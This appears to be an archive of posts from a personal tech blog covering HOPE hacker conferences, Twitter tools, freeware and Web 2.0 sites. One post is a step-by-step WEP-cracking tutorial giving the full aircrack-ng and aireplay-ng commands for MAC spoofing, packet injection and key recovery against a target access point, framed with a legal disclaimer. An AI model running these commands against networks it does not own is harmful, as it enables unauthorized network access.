SHODAN for Penetration Testers (The Next Hope) from theprez98 on Vimeo.

So go ahead and download my freshly made 56k Dialup Modem Handshake Ringtone for your iPhone. Once you’ve downloaded the ringtone simply double click and it will be imported into iTunes as a ringtone. Enjoy!

UPDATE: as requested in the comments below, here is a 56k Modem Ringtone in .mp3 format for Android users as well. Go nuts.

I tried to find a Google Calendar format of the schedule for this year’s talks. However I was unable to find such a format. I’ve painstakingly created the following calendar based on my interests and talks that I would like to attend. This is not a complete schedule of the conference. I’m too lazy to turn the whole schedule in to a Google Calendar, however I may do so before the actual conference… we shall see. Use as you will if you wish.

You can view the full schedule by visiting: The Next Hope schedule

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1966080 bytes) in /home/user/public_html/wp-includes/class-simplepie.php on line 5353

I was able to solve this error by editing the wp-config.php file and adding the following line:

define('WP_MEMORY_LIMIT', '64M');

What this effectively does is increase the amount of memory that WordPress can use on your web server. You can alternately modify the php.ini file to increase the memory limit, but many web hosts do not allow users to change these parameters. I hope this tip helps people having the same or similar errors on their WordPress 2.9.2 sites.

Spiceworks, my favorite tool for managing IT networks, has released a new version. Spiceworks scans your entire network and audits the devices in you infrastructure. Not only does Spiceworks create a comprehensive IT inventory, but it also monitors the health of vital systems. It can alert you when certain conditions are met, errors are found, systems run out of hard disk space, printer ink is low, and much more.

Another cool feature is to have Spiceworks scan multiple sites, and report back to a central collector. This is great for me, as the company I work for, is an outsourced IT Helpdesk for several medium sized businesses. We’ve deployed Spiceworks at all of our clients with more than 10 PCs. This allows our business to be proactive in our approach to IT instead of reactive.

Don’t even get me started on how good Spiceworks has been for License Management.

Spiceworks 4.6 brings a host of new features include:

• View and Kill Processes Remotely
• Ability to discover virtualized servers on VMware (vSphere & ESX/ESXi), showing all the virtual machine data and configuration details
• Better Helpdesk ticket management
• Network mapping improvements
• See network alerts and notifications in your Spiceworks Toolbar
• And more…

If you have never tried Spiceworks, you should. It is free, and after you use it, you will be converted. Oh yeah, did I mention it’s FREE (As in BEER)? I used to work for a software company that developed one of the premier Enterprise IT Discovery platforms, and believe me, Spiceworks can do a lot more than even some multimillion dollar Enterprise platforms. That was always the “dirty little secret”. Anyways, check it out, you’ll love it.

Tiny Twitter – Love twitter and love tweeting from your mobile device? But don’t want to get dinged for updates and double dinged for friend updates continually arriving via SMS? Get the brand new Tiny Twitter software for your windows mobile phone.

Twobile - Twobile (pronounced Twoh-bul, a mixture of the words “Twitter” and “Mobile”) is a new Twitter client for users of Windows Mobile Pocket PCs. Initially a personal project designed to help access various services provided by Twitter, the project began in mid 2007 and had remained in prototype status for nearly a year. In early 2008, it was decided that since there was a lack of sufficient Windows Mobile Twitter clients that addressed nearly all the services that Twitter provided, the project was moved from a prototype to a publicly available beta.

With the rise of Twitter users and the increase in the adoption of Windows Mobile devices around the world, the need for a client that allows those Windows Mobile users to utilize as many of the features of Twitter as possible without needing to be at a desktop computer increased as well. And as the rates for mobile Internet access and the surcharges incurred by mobile providers for SMS messages increased, the need for a full-featured, yet simple-to-use, client presented itself as a need. Thus, Twobile was born! And even though Twitter provides a web-based interface for mobile devices, its functionality was not as robust as those found on the desktop-version of the web interface.

Twitula – is new and free twitter client for Windows Mobile pocket pc devices.

ceTwit - Pocket PC twitter client with Twitpic support for cross posting images.

TwitToday – Today screen twitter plugin to easily update your twitter status.

Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information. Please only use to test configurations on your own equipment. Accessing WIFI networks that do not belong to you is ILLEGAL.

This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.

Requirements:

• Backtrack 3 on CD or USB
• Computer with compatible 802.11 wireless card
• Wireless Access point or WIFI Router using WEP encryption

I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:

Preparing The WIFI Card

First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:

modprobe -r iwl3945

modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:

iwconfig
Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:

airmon-ng stop [device]
Then:

ifconfig down [interface]
Now we must change the MAC address of the adapter:

macchanger --mac 00:11:22:33:44:66 [device]
Its now time to start the card in monitor mode by doing:

airmon-ng start [device]

Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:

airodump-ng [device]

Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:

airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]


The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.

Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]

If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:

airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]

This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.

After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]

Once you have enough packets, you begin the crack:

aircrack-ng -n 128 -b [bssid] [filename]-01.cap

The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.

Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.

You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!

Last week I attended the “computer security” conference HOPE (Hackers on Planet Earth), held every two years in NYC. The title of this year’s event was “The Last Hope”, but it may not be the last. Unfortunately I had to work Friday and was not able to get to the convention until about 4pm, luckily it was being held only 2 avenues away from my workplace. I had never attended HOPE in the past, although I have gone to Las Vegas for DEFCON several times in the past 10 years. HOPE is organized by the crew over at 2600: The Hacker Quarterly.

All told, the event was interesting, and I was glad to attend. However, maybe I’m just getting old but “the scene” just doesn’t hold my attention as it once did. Oh well. The convention took place at the Hotel Pennsylvania, which was scheduled for demolition soon, hence “The Last HOPE”. However by the end of the convention it was announced that plans to demolish the hotel have been put on hold due to the bad economy, so HOPE will take place again at it’s usual spot in 2010.

Some of the sessions I attended were great, others not so great. Amongst the good ones were:

• Bagcam – How Did TSA and/or the Airlines Manage to Do That to Your Luggage? By: algormor
• A Hacker’s View of the Freedom of Information Act (FOIA) By: Phil Lapsley
• Hacking the Price of Food: An Urban Farming Renaissance By: Bicyclemark
• Methods of Copying High Security Keys By: Barry Wels and Han Fey
• One Last Time: The Hack/Phreak History Primer By: Jason Scott

Looking back at the list of talks, I wish I’d attended more/different ones. Guess I am just getting old. Oh well, there’s always 2010. I spent a good amount of time in the Lockpick Village playing around and picking a couple locks, its always fun to open locks you’ve never touched before. I picked up a copy of Emmanuel Goldstein‘s new book: The Best of 2600: A Hacker Odyssey, this huge tome was well worth the money. It’s jam packed with stories from the past 24 years of 2600 history. I should have gotten it autographed when I saw Emmanuel at the conference, but he was busy. Again, oh well.

Even though I am kind of burned out after being in the scene for the past 15 years or so, I will probably end up attending again in 2010. It’s much easier that traveling to Las Vegas for DEFCON since I now reside in NYC.

Check out Photos from TheLastHOPE over at flickr. Search twitter for #thelasthope for people liveblogging the event. Finally, check out the video below. It was created by the folks at MAKE Magazine, who were in attendance at the conference as vendors. Overall I think the video captured the spirit of the event, good work MAKE folks!

Until 2010, peace.

I’ve made the last minute decision to attend HOPE (Hackers on Planet Earth) in NYC this weekend. I will post some photos and information about the convention sometime soon. To follow the action you can search twitter for #thelastHOPE . If you are at the event, you can track attendees via the RFID tags embedded in the badges. More to follow…

Unfortunately I was too late to get an RFID badge for The Last HOPE. Oh Well.

• Web interface to “track” option. This would make it much easier to manage sms notifications to my phone.
• Increased API access limit. 20 per hour is way too low. I would probably be satisfied with 30-60 per hour. 60 would be best.
• Ability to Mass-block people from the web interface.
• Historical Direct messages sent or threading of direct message conversations.
• Shorter URL service. TinyURL is great, but I’ve seen shorter.

I do not think the above requests would alter the way Twitter functions as a whole, but would enhance its overall functionality. What features or enhancements would you like to see added added to Twitter?

For this article I want to focus on “Advanced Twitter Techniques and Tools”. Once you’ve become familiar and comfortable with using Twitter, you may want to extend the functionality and get more out of it.

Summize – Summize is quite possibly one of the most useful Twitter application. So useful in fact, Techcrunch is reporting that Twitter may buy Summize. Summize is a search engine for Twitter. Using Summize makes it easier than ever to follow the various conversations taking place. You can even search for any replies you may have missed.

HashTags – HashTags as allow for “group conversations”. Instead of a one way @user message, you can send it out to a group of people by using #group. People then track the hashtag and this allows groups of people to chat about whatever topic is important to them. Think of hashtags as an IRC channel (thats where the idea comes from).

TwitterFeed – This service allows you to post an RSS feed to Twitter. I use it to post my latest photos from my cell phone (uploaded to Vox.com) to Twitter. TwitterFeed gives me the “missing link” I had been looking for, as I can now deliver a “payload” to twitter with more than just 140 characters of text.

Twitpic – A service that allows you to post photos to Twitter. You can use the website directly or use a Twitter Client that has built in support for Twitpic. Better for when you are actually in front of your computer and want to post a photo.

TwitterVision – Not quite that useful, but fun to watch. TwitterVision is a mashup of Twitter and Google Maps that plots tweets by location. Bonus geek points: set Twittervision as your desktop wallpaper with active desktop.

TwitterHolic – Some people like to follow the buzz. TwitterHolic displays stats about who is making the conversation on Twitter. Consider the top slots as the movers and shakers of the Twitterverse.

Twitabit – Sometimes Twitter goes down. If that happens and you really need to get that tweet out, you can post it on Twitabit and when Twitter comes back up, your tweet will go out. This service is handy for those that are truly addicted to Twitter.

Twitscoop – Twitscoop generates a tag cloud showing what the hot topics on twitter are at that moment. Great site for finding out what everyone is talking about and getting the latest news.

Twitturly – Another web service for finding out what is popular on Twitter, but this service will search all of the URL’s being posted and tell you what pages are being linked. Another tool for getting the latest news and buzz.

• Download Firefox 3 Portable for USB

And now, in no particular order:

Spiceworks – Spiceworks has become an invaluable tool in my IT consulting arsenal. Spiceworks allows you to scan an entire network and get an inventory of all assets (software and hardware) in a particular environment. Great tool for auditing your infrastructure.

Launchy – Launchy is a free windows utility designed to help you forget about your start menu, the icons on your desktop, and even your file manager. Launchy indexes the programs in your start menu and can launch your documents, project files, folders, and bookmarks with just a few keystrokes. A true time saver.

FileZilla – Filezilla is the best FTP/SFTP/SCP client I’ve found. Works great and has a ton of features. If you are a web designer or a network tech and interact with FTP on a regular basis, you should be using this tool.

Putty – I use this little application about as much as my web browser. If you need to log into linux systems or networking gear, putty will do what you need. Putty is hands down the best SSH / Telnet / Serial / Rlogin client for windows.

Firefox – You should already be using Forefox. If you aren’t you probably shouldn’t be on the internet.

CDBurnerXP – CDBurnerXP is a free application to burn CDs and DVDs, including Blu-Ray and HD-DVDs. Also allows you to burn and create ISO images. Better than Nero.

ImgBurn – Another CD / DVD burning application.

TrueCrypt – If you do not currently encrypt your important data, you are at risk. Everyone should utilize encryption for their sensitive information. Encrypt your confidential documents and even your thumb drive with this handy security tool. Newest versions allow you to encrypt your entire system partition and protect your drive with pre-boot authentication. Protects your data when traveling internationally as well.

Sysmetrix – Sysmetrix is a skinnable clock and system metering application. Its purpose is to provide system metrix in a variety of interesting, useful, and cool ways. It can monitor and report on hundreds of statistics.

Yahoo Widgets – Spruce up your desktop with yahoo’s powerful widgets. Many styles and community submitted widgets to choose from. Get the most up-to-date information on your desktop.

TweakUI – Free Microsoft PowerToy gives you access to system settings that are not exposed in the Windows XP default user interface, including mouse settings, Explorer settings, taskbar settings, and more.

Virtual Desktop Manager – Another Microsoft PowerToy that allows you to manage up to four desktops from the Windows taskbar. Because you always need more desktop space.

VLC – VLC Media Player is a highly portable multimedia player for various audio and video formats as well as DVDs, VCDs, and various streaming protocols. VLC can play virtually any multimedia format I’ve tossed at it. It can also be used as a server to stream in unicast or multicast on a network.

Veoh – Veoh client allows you to download online videos as well as watch streaming TV shows from major networks such as Fox and NBC. I don’t have cable TV anymore because of applications like Veoh, Joost, Hulu, and Miro.

Joost – Joost is another application allowing you to watch free TV Online.

Miro – Miro is a free application that turns your computer into an internet TV video player.

InfanView – Useful for converting images and a great photo browser.

Picasa – Google’s excellent tool for uploading and sharing photos and creating galleries. I like Picasa better than flickr personally.

Azureus – Java based BitTorrent client. Great for downloading LEGAL software *wink & nod*

Spybot S&D – Best tool for finding and removing spyware and other things on your computer that might violate your privacy. Should be used in conjunction with a good anti-virus application such as ClamAV below.

ClamAV – ClamWin is the Windows version of the popular ClamAV. One of the best free anti-virus choices.

tftpd32 – Tftpd32 includes DHCP, TFTP, SNTP and Syslog servers as well as a TFTP client.
The TFTP client and server are fully compatible with TFTP option support (tsize, blocksize and timeout), which allow the maximum performance when transferring the data. Must have tool for configuring network equipment.

WireShark – Wireshark is the world’s foremost network protocol analyzer, and is the de facto (and often de jure) standard across many industries and educational institutions. Use this tool to help diagnose networking issues and configuration.

UpdateStar – UpdateStar is the program that lets you stay up-to-date with all of your personal software. Whether it be Freeware, Shareware and commercial software products, UpdateStar covers all of your software. UpdateStar knows more than 80.000 software products and lets you know once an update is available for you. No more wasted time searching for important software updates. Will notify you when updates are available, and provide you with links to download the updates.

KeePass – KeePass is a free and open-source password manager / safe that will store all of your passwords securely. Allows you to encrypt your password database to provide added secure protection.

CrossLoop – CrossLoop’s underlying technology was created to simplify the process of securely working with others located in different physical locations across diverse network environments. CrossLoop enables you to see the screen and control the mouse and keyboard on a remote computer. It is as if you are working side by side at the same PC. CrossLoop is a powerful productivity tool that enables you to quickly collaborate with anyone in the world. Also allows Tech to provide remote technical support.

NetStumbler – Use NetStumbler to view all 802.11 wireless signals in range. Will provide you with signal strength monitoring allowing you to establish a stronger signal. Very helpful in doing site surveys and wireless network troubleshooting.

Skype – Make calls from your computer — free to other people on Skype and cheap to landlines and cell phones around the world.

VMware Server – VMware Server is now free to all. Allows you to run multiple virtual operating systems on a single server. Technicians can also use VM’s for testing new configurations. Consolidate multiple servers into one, save money on hardware and electricity costs. Make it part of your own “green computing” initiative.

UltraVNC – There are many versions of VNC clients and servers. I happen to like UltraVNC the best. The client has good options and the server is able to serve to many different types of clients. For those who use windows mobile devices, UltraVNC provides good options.

TerraCopy – TerraCopy can replace the standard windows copy. With TerraCopy you can pause and resume file transfers, copy files faster and it has good error recovery. If you find yourself transferring files over WAN shares TerraCopy is a must have.

SysInternals – The Sysinternals Troubleshooting Utilities have been rolled up into a single Suite of tools. This file contains the individual troubleshooting tools and help files. Whether you’re an IT Pro or a developer, you’ll find Sysinternals utilities to help you manage, troubleshoot and diagnose your Windows systems and applications. Sysinternals Suite is a must for any admin or technician’s tool-kit.

MediaCoder – MediaCoder is a free universal batch media transcoder, which nicely integrates most popular audio/video codecs and tools into an all-in-one solution. With a flexible and extendable architecture, new codecs and tools are added in constantly as well as supports for new devices. MediaCoder intends to be the swiss army knife for media transcoding.

Combined Community Codec Pack (CCCP) – This is the best video codec pack I’ve found. With CCCP you’ll be able to play virtually any type of video file.

XChat – XChat is an open source windows IRC client. Replacement for mIRC. If you like kickin’ it old school on IRC, this is your client of choice on windows. I suggest EFnet. Don’t let the name fool you, there is plenty of Eris on EFnet.

Orb – Orb is so freaking awesome, I don’t know where to start. Orb will allow you to stream the media on your desktop (or server) to any device connected to the internet. I know that is a big statement, but its true. Want to stream your movies and music to your PDA? No problem. Want to watch your movies at work? No problem. So if you have a big media collection, you need Orb.

7zip – Handy little application for zipping and unzipping files. Ability to handle many formats.

Daemon Tools – If you are like me (and if you aren’t, you should be) you back up your important CD’s to .iso images. Daemon Tools allows you to mount those .iso files to a virtual cdrom on your system. No more wasted time and money burning CDs.

Notepad++ – Notepad++ is an advanced text editor replacement for notepad.exe. It even has syntax highlighting.

WinPenPack – A collection of tools for your USB flash drive. I dare say I like this suite better than PortableApps.

WinDirStat – WinDirStat gives you a visual representation of the files on your hard drive. This map will help you locate files you have forgotten aobut, or data that can be erased. Handy tool for auditing the file system of your PC

Pidgin – Pidgin is a multi-protocol Instant Messaging client that allows you to use all of your IM accounts at once. Replacement for all of your different IM clients.

Handbrake – Convert your DVDs to Mpeg4 for use in your portable devices.

Audacity – I use audacity to edit my own ring tones from .mp3 files.

DVDshrink – Burn backup copies of your DVDs with DVDshrink.

Mobile 3GP Converter – Use this handy program to convert videos shot on your cell phone (in .3gp format) into .avi files which you can then upload to various video sharing services such as YouTube.

nLite – nLite is a tool for pre-installation Windows configuration and component removal at your choice. Optional bootable image ready for burning on media or testing in virtual machines.
With nLite you will be able to have Windows installation which on install does not include, or even contain on media, the unwanted components. Use nLite to build your own custom Windows installation.

SysPrep Driver Scanner – If you use SysPrep to build standard installation images, you should use SysPrep Driver Scanner. Makes the process of building drivers into your install simple.

Unlocker – Unlocker allows you to “unlock” files that are in-use. Ever try to delete a file but have windows tell you that it is being used? You can now delete any file with Unlocker.

Damn NFO Viewer – A viewer for those pesky .nfo files.

Siginet DriverGrabber – This application will scan your computer and copy all of the drivers installed to a separate directory. No more hunting around for drivers after you reinstall windows, just run the DriverGrabber and you’ll have all of your previous drivers. Also a handy tool for making so-called Universal Images (with programs such as Ghost) including drivers for different types of hardware. Use in conjunction with the SysPrep Driver Scanner above to include paths for the drivers.

Google Desktop – If you have tons of data spread across multiple drives, computers, and email accounts you need Google Desktop. Google Desktop will index all of your data and allow you to search for the information quickly. No more hunting around for documents or previous emails.

The streaming video portion of the browser is cool. Its a tad choppy on my Verizon EVDO setup, but the audio is clear. I hear it works better on a WIFI connection, but I don’t have WIFI to test it on at the moment. The current version of Skyfire is 0.6 Beta. I am treating this version as more “proof of concept” versus what the final product will look/function like. That may be wishful thinking, but I can’t pass final judgment yet.

UPDATE: I am testing video streaming via WIFI at the moment, and it is indeed much smoother over the WIFI versus EVDO.

Some of the navigation/zooming features are cool on Skyfire, some are not so cool. I believe they will work out some of the bugs in future releases. I think some of the limitations may just be due to the small screens on Windows Mobile based phones. Any of the performance related issues I’ve experienced with Skyfire are probably because of the limited processing power and memory available on Windows Mobile handsets.

Overall, Skyfire looks very promising and is worth signing up for the beta. It will not replace PocketIE for text browsing just yet, but has a lot of potential, especially on future mobile devices.

Meebo has also done a great job updating its interface over the last few weeks. I had been waiting a long time for a ‘black’ colored theme, and now they have one. Good work team Meebo!

Six Apart is encouraging people to switch to Vox, but I’m not a big fan. For starters the RSS output of Vox does not include a thumbnail of the photo I am posting. Which basically makes it useless for my purposes. Also, Vox tries to be too much and include too many features. It doesn’t really do any of them well. I already have blogs and social networks… I don’t need a new one. I just want a service that just does Photo blogging from my Treo 700w. I want to be able to include a title and a short description. All from my phone. None of the alternatives to Splashblog offer this ease of use and functional simplicity.

Another alternative to Splashblog that I’ve found is called Sharpcast. It handles the RSS feeds ok, but doesn’t offer the ability to add captions and titles to the photos from the mobile client. I’m not sure which I’m going to end up using.

If anybody knows of any other photo blogging software w/ a client for the Treo 700w let me know.

Groups could use the features of twitter to plan “outings” to various events. While attending events, conventions, concerts, or traveling, groups have the ability to keep in touch with eachother and have conversations when separated. I feel that Twitter would serve much better as a “social organization” tool versus a “micro blogging” tool. Currently many people use Twitter to announce to nobody in particular what they are doing at that moment. That use does not seem to really suit Twitter.

I’m not huge on “Flash Mobs” but I have seen them in action. If participants were to use Twitter for mass group update, you could spread the information quickly and efficiently. Political action groups and Activists could also use Twitter to keep participants updated. I think more people should use Twitter to coordinate “going out for coffee” rather than announcing the fact that they are “drinking coffee”.

I believe as information becomes more mobile, applications like Twitter will help organize groups in ways never seen before. Thats my 2 cents.

I say “Give me the free media with some ads, its cool”. Let me download free mp3s with a 5-10 second advertisement at the end, or even an advertisement for the album art. Give me some commercials when I’m streaming internet television and just make sure it’s quality content. If I don’t want the advertisements I will gladly purchase your product. However the flip side to that is I do not want advertisements in the media I pay for. I recently canceled my digital cable television account. I got sick of paying for 12 hours worth of infomercials and paid-advertising programs. Digital cable was costing me over $100 each month. Cable TV is going to lose to Internet TV. I have been consuming “free” legal media on the internet for the past several months. Quality content is starting to be shown all over the internet, with huge media companies licensing their shows to be shown online.

I’ve been beta testing Joost for the last few months. (If you would like an invite to the Joost Beta, leave a comment and I will do what I can.) Joost has improved quickly in its short run, signing the likes of Paramount, CNN, Comedy Central, Adult Swim, and more for channels of content. The advertising is generally unobtrusive, but slightly repetitive but thats to be expected in a beta with limited advertisers. There is word that Joost is developing an embedded platform for a set-top type box. Expect to see devices in the future that pull content from the internet to display on your HDTV. The line between TV and computer will only blur more. IPTV could hit the Sony PS3, Microsoft Xbox 360, or Nintendo Wii through updates in the future. Game consoles are already in millions of homes worldwide, and could evolve into content delivery systems as well as gaming systems.

Portable media is also the future. As the wireless networks get better and the devices more sophisticated, people will be able to access media anywhere in the world, on demand. The iPhone and Orb for cell phones is just scratching the surface of mobile digital media. The next few years will be interesting indeed. I can’t wait until all of the major media networks release their new programs simultaneously on the internet as well as broadcast television.

The latest generation of internet tools have been interesting and fun. They are pushing the bounds of technology, social systems, business culture, and the economy. But it is lacking accessibility and training. The rapid expansion of Web 2.0 has left most people in the dust. Many of the people I work with are just starting to understand email and searching the internet. It’s unfortunate that more efforts have not been focused on training users. People I talk to are “interested” in technology, and using it to help them in their lives. But many don’t get the training to use what they have. I believe more training should be provided by the technology manufacturers and retailers.

Training is getting better, its because more companies are adopting “open” standards. It is easier to get consumers and average people trained in technology if there is a standard way of doing things, and a standard vocabulary. User friendly interfaces are important too, but if someone doesn’t understand what they can do, what their options are, the interface doesn’t matter much. I believe too much training is invested in the specific environment, and telling people what to click. Training should focus on the underlying principals and concepts of working with computers, networks, software. Once people understand what computers are capable of, and how they generally work, they can use deductive reasoning to figure out most issues related to operating the computers.

I suppose part of the “digital divide” is that some have access to more information than others. But the best thing about the Internet is that once you are in, you can access information about virtually anything. There is almost no reason not to know things if there is access to the internet nearby. I don’t think most people understand HOW to find the information they are looking for easily. I believe its up to all the geeks out there, or technology savvy, to help those who aren’t so comfortable with technology. Instead of just solving their problem for them, explain WHY its broken, how it works, how to avoid it in the future, and how to fix it. I understand many people don’t want to hear it, but there are others who are enthusiastic to learn a new thing or two if you are willing to show.

Empowering more people to participate in the world of online communications will make it better. More people will be able to publish content and tell their own story. Thus adding to the global cache of human information. Its exciting times we live in…

And now, in no particular order:

1. Expensr - Where did my money go?  Track and analyze your expenses with Expensr.  Compare with other people based on tags.
2. Pandora - A new kind of internet radio where you choose the content.  Works really well at connection you with music you like.  A part of the Music Genome Project.
3. Speedtest – Connection speed test website.  Great tool for checking your connection out.
4. Moo Printing – Moo-Mini  cards are hot right now.  You can upload photos from your computer, flickr, secondlife, and more to make your business cards unique.
   
5. SidejobTrack – Web-based job tracking, invoicing, reporting & project management software for the part-time independent contractor.
6. del.icio.us – Share and remember your bookmarks.  Access your bookmarks from any computer.
7. Ziki – Manage your online identity.  Aggregate all of the content you produce online. 
8. Guerril Mail – Guerrilla Mail provides you with disposable e-mail addresses which expire after 15 Minutes. You can read and reply to e-mails that are sent to the temporary e-mail address within the given time frame.
9. SuprGlu – Generate a digest of your online profiles and activity using RSS feeds.
10. Netvibes – Personal startpage.  I don’t care what personal startpage you use, only that you use one.  Netvibes gets my vote as the best.
11. Wikipedia – Massive online encyclopedia.  Content is created by users.
12. Meebo – Best web based Instant Messaging client.  Allows you to connect to AIM, ICQ, MSN, Yahoo, Gtalk, Jabber, etc… Also allows you to create widgets for your web pages and profiles.
13. Housecall Antivirus – Web based anti-virus from TrendMicro
14. WordPress - Your personal digital printing press.  WordPress allows anybody to publish content on a standard platform.
15. Craigslist – Local social message boards for all kinds of stuff.  I mostly use it to sell stuff and get computer gigs.
16. UrbanDictionary – Urban Dictionary is a slang dictionary with your definitions. Define your world. w0rd.
17. Newegg – One of the greatest online retailers of computer parts and tech stuff.  I’ve used them a lot.
18. thew0rd – Shameless plug.
19. Yahoo Pipes – Mash up your RSS feeds and search results from multiple sites into a custom search using the power of multiple sources.
20. Digg – Decide what news deserves to be important.  Help rate articles and let the world know if they are important.
21. Twitter – What are you doing?  Let everyone know through quick notes and text messages using your cell.
22. TwitterVision – If you don’t get that last one, click on TwitterVision and check it out.  TwitterVision is an awesome example of web2.0 technologies, both technical and social, displayed graphically and simply.
23. w00t – One item.  One day.  Super cheap.  Get there fast before its sold out.
24. Nintendo8 – Play classic nintendo games online.  Fun when taking a break.
25. Pogo - Don’t get addicted.  Pogo is a casual gaming community offering dozens of unique and addictive java games.
26. Crazedlist – Search all of craigslist at once or multiple sections at once.
27. Mind42 – Web based Mind Mapping software.  Collaborate and share your Mind Maps with colleagues and co-workers.
28. Tutorom – Online database of video tutorials on a wide range of topics.  Upload your own tutorial and share your knowledge with the world.
29. Simplyhired – Best online job search engine.  Simplyhired searches tons of job sites at once, saving you time and giving you more access to choices.
30. Threadless – Unique teeshirts designed by users. 
31. Etsy – Online marketplace for handmade goods.  Find unique gifts, furnishings, clothes, trinkets, and more.  A very unique site.
32. WikiHow – Wiki howto database.  Share your knowledge on how to get things done.
33. MyThings – Keep track of everything you own, its value, and its documentation.  Great for organizing your stuff and for insurance purposes.
34. Domain Log Book – Keep track of your domains.
35. Technorati - Blog search engine.  Find out what the people are saying.
36. Google Analytics – Google’s stats for your website.  Works well and eases the server load from stats scripts running locally.
37. Joost – IPTV is the future and it appears that Joost is set to deliver.  If you need an invite I might be able to send a couple.
38. Sourceforge – Largest database of open source software.  Find and participate in thousands of software projects.
39. Orb.com – Access all of your digital media from any computer anywhere.  Stream movies, music, and live tv to any internet device.
40. WindizUpdate – Run windows update in Firefox.
41. Last.fm – Share and discover new music.  Let others know what you are listening to.  Automatically generate streaming stations based on your listening habits.
42. IsoHunt – Best bit torrent search engine. 
43. PortableApps – Install Portable versions of your favorite applications on a USB drive.
44. Picasa – Google’s online photo storage and sharing solution.  More storage than flickr, better interface too.
45. Gmail – Hands down the best email client and provider.  Tons of storage.  Gmail wins.
46. DomainTools – Search domain whois records, ping, trace route, dns info, etc… Great resource for admins.
47. Yahoo Widgets – Add widgets to your Windows or MacOS desktop.
48. Snapfish – Print your digital photos.  I’ve used this service and they do a great job.
49. 43things – Announce your goals and plans to the world, get cheered on.
50. Viddler – Video blogging made simple.  Allows users to comment inside the video.

When I use the term "Web2.0" I am using the term to describe not only software, but the way we interact with eachother through the software.  Besides the enhanced and friendly user interfaces of some Web2.0 sites, this new generation of the web is all about sharing.  We are just being able to communicate in virtually any medium anywhere in the world, in near real-time.  This is a revolutionary advance that will have profound effects on how we work, play, and communicate across the globe.  Web2.0 is all about making these technologies easier to use, easier to share, and and easier to find.  Collaboration and transparency aren’t just buzz words, they are principals shaping a new society. 

Many people are writing off Web2.0 as the "Second Internet Bubble" and unfortunately I believe that they are mainly correct.  But just because some companies will go out of business and some venture capitalists loose a couple million, it’s no excuse to write off the techniques and theories that are driving this movement.  The ideas of collaboration, transparency, and open source are just starting to emerge in the popular culture meme across the globe.  Large multi-national corporations and Governments are beginning to embrace some of the social theories put forth from this new global cyberculture.  Web2.0 gives more power to the person at the keyboard, instead of just reading the Web like a newspaper, YOU are the web.  Your friends are the web.  It has never been easier for the average person to share their knowledge and experiences with the world.  Technology is worth understanding, because in the Web2.0, every voice can be heard.

I encourage everybody to jump into new technologies with gusto.  Don’t be afraid of technology, it’s here to help you.  Once you understand what this new software and philosophy is all about, you can begin to share it with others.  As more people form loose social networks and begin to collaborate on a large scale, the better the "web"/"content"/"value"/"internet"/"experience"/"connection" will be in the future.  There is a wealth of human knowledge that has yet to be shared.  As we have more access knowledge we humans can begin to better understand everything.

From a pure new user standpoint I would suggest using the following websites to become accustomed to "Web2.0" tools and concepts.  Don’t be afraid, they wont bite.  If you don’t understand something, search google!:

• Netvibes ( personal start page )
• Del.icio.us ( social bookmark sharing )
• Picasa ( google’s photo sharing service )
• Gmail ( google’s free email service )
• Meebo ( web based instant messaging for aim, icq, msn, yahoo, gtalk, and meebo widgets )
• Craigslist ( localized public message board )
• Ziki ( online identity management, if you use more than 2 "web2.0" sites, you should use Ziki)

I’ve given you enough homework for today.  Stay tuned for more information on living with technology in future installments.  I’m not done with this topic by a long shot….
 

Ziki offers users the ability to build their profiles using RSS feeds of content the user produces. Whenever you use a service like del.icio.us, stumbleupon, or picasa you can automatically publish that content to your Ziki profile. So now instead of 10 different profiles for different services, you’ve got a single location you can direct people to when they want to contact you.

Users may also "Tag" themselves based upon their interests. You may then network with others that have tagged themselves with similar terms. This is an interesting way to build a social network. Ziki isn’t "just another social network", its more of a place for users to have a central starting point on managing their multiple profiles.

I’ve also found that for users new to the web2.0 way of interconnecting everything, Ziki offers a starting point. You may choose from a list of supported services, and if you don’t know what they do, you can check it out and start using it.

For those concerned with identity theft and privacy, I too have wrestled with that for a long time. But honestly if they are going to get you…they will do it. Your information is already in thousands of databases, that you have no control over. You might as well set up your own database with information about yourself and control it the way you want, instead of trusting someone else with your identity management. As we users feed the system with more data, the better the system will be at delivering the content we care about.

Check out my Ziki Profile for an example of what can be done with Ziki.

I wish the best of luck to Ziki.com in their quest to Be Visible.

